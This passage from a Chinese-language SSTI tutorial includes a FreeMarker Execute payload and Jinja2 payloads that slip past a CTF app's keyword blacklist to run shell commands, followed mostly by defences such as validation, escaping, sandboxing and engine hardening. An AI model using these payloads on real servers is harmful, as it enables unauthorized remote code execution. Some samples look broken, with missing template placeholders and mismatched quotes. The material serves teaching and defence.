
1
http://target.com/page?name=${7*7}

返回 49,确认存在Freemarker SSTI。

RCE利用:

1
http://target.com/name=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

案例5:CTF题目解析

题目:某CTF题目提供了一个Flask应用源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, request, render_template_string
import re

app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', 'Guest')
    # 过滤了危险字符
    blacklist = ['import', 'os', 'system', 'popen', 'subprocess', '__builtins__']
    for word in blacklist:
        if word in name.lower():
            return 'Hacker!'
    template = f'<h1>Hello, {name}!</h1>'
    return render_template_string(template)

绕过思路:

  1. 使用编码绕过关键字检查
  2. 使用其他方式导入模块

Payload:

1
http://target.com/?name={{self.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').po'+'pen('id').read()}}

或者使用 lipsum 对象:

1
http://target.com/?name={{lipsum.__globals__['os'].popen('id').read()}}

防御措施

1. 输入验证和过滤

白名单验证

1
2
3
4
5
6
7
8
9
10
11
12
13
import re
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/greet')
def greet():
    name = request.args.get('name', 'Guest')
    # 只允许字母、数字和空格
    if not re.match(r'^[a-zA-Z0-9\s]+$', name):
        return 'Invalid name', 400
    template = '<h1>Hello, !</h1>'
    return render_template_string(template, name=name)

转义特殊字符

1
2
3
4
5
6
7
8
from markupsafe import escape

@app.route('/greet')
def greet():
    name = request.args.get('name', 'Guest')
    # 转义HTML特殊字符
    safe_name = escape(name)
    return f'<h1>Hello, {safe_name}!</h1>'

2. 使用安全的模板渲染方式

分离模板和数据

1
2
3
4
5
6
7
8
9
from flask import Flask, render_template

app = Flask(__name__)

@app.route('/greet')
def greet():
    name = request.args.get('name', 'Guest')
    # 使用模板文件,不直接拼接
    return render_template('greet.html', name=name)

使用自动转义

1
2
3
4
5
6
from jinja2 import Environment, PackageLoader, select_autoescape

env = Environment(
    loader=PackageLoader('yourapp'),
    autoescape=select_autoescape(['html', 'xml'])
)

3. 沙箱化执行环境

Jinja2沙箱

1
2
3
4
5
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
template = env.from_string(user_input)
result = template.render()

限制可用对象

1
2
3
4
5
6
7
8
9
10
11
from jinja2 import Environment

# 创建受限环境
env = Environment()
# 只暴露安全的对象
safe_globals = {
    'range': range,
    'len': len,
    'str': str,
}
template = env.from_string(user_input, globals=safe_globals)

4. 模板引擎安全配置

Twig安全配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$loader = new \Twig\Loader\ArrayLoader([
    'index' => 'Hello, !',
]);
$twig = new \Twig\Environment($loader, [
    'autoescape' => 'html',
    'sandboxed' => true,  // 启用沙箱
]);

// 配置沙箱策略
$policy = new \Twig\Sandbox\SecurityPolicy([
    'if', 'for', 'set'
], [], [], []);
$sandbox = new \Twig\Extension\SandboxExtension($policy);
$twig->addExtension($sandbox);

Freemarker安全配置

1
2
3
4
5
6
7
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);

// 禁用危险内置函数
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

// 或者完全禁用
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);

5. 最小权限原则

应用权限

  • 以非root用户运行应用
  • 限制文件系统访问权限
  • 使用chroot或容器隔离

网络权限

  • 限制出站网络连接
  • 使用防火墙规则
  • 监控异常网络活动

6. 安全开发最佳实践

安全编码检查清单

  • 永远不要直接拼接用户输入到模板
  • 对所有用户输入进行验证和过滤
  • 使用模板引擎的自动转义功能
  • 在沙箱环境中执行用户提供的模板
  • 限制模板可访问的对象和方法
  • 定期进行安全审计和代码审查
  • 使用静态代码分析工具
  • 及时更新模板引擎到最新版本

安全测试工具

工具用途链接
TplmapSSTI自动化检测和利用https://github.com/epinna/tplmap
SSTImapSSTI检测工具https://github.com/vladko312/SSTImap
Burp SuiteWeb应用安全测试https://portswigger.net/burp
OWASP ZAP开源Web应用扫描器https://www.zaproxy.org

总结

SSTI是一种危害极大的Web安全漏洞,攻击者可以利用它在服务器端执行任意代码。防御SSTI需要从多个层面入手:

防御要点

  1. 输入验证:对所有用户输入进行白名单验证,拒绝或过滤危险字符
  2. 安全渲染:使用模板引擎的安全渲染方式,分离模板和数据
  3. 沙箱限制:在沙箱环境中执行模板,限制可访问的对象和方法
  4. 最小权限:应用以最小权限运行,限制文件系统和网络访问
  5. 安全配置:正确配置模板引擎的安全选项

安全开发建议

对于开发者:

  • 永远不要信任用户输入,始终进行验证和过滤
  • 使用模板引擎的自动转义功能
  • 避免直接拼接用户输入到模板字符串
  • 定期进行安全审计和代码审查
  • 及时更新模板引擎和依赖库

对于安全研究人员:

  • 在进行渗透测试前确保获得合法授权
  • 使用隔离的测试环境进行漏洞研究
  • 负责任地披露漏洞,帮助厂商修复
  • 遵守相关法律法规和道德准则

学习资源


参考资源


本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。

本文最后更新于:2026年3月19日

本文由作者按照 CC BY 4.0 进行授权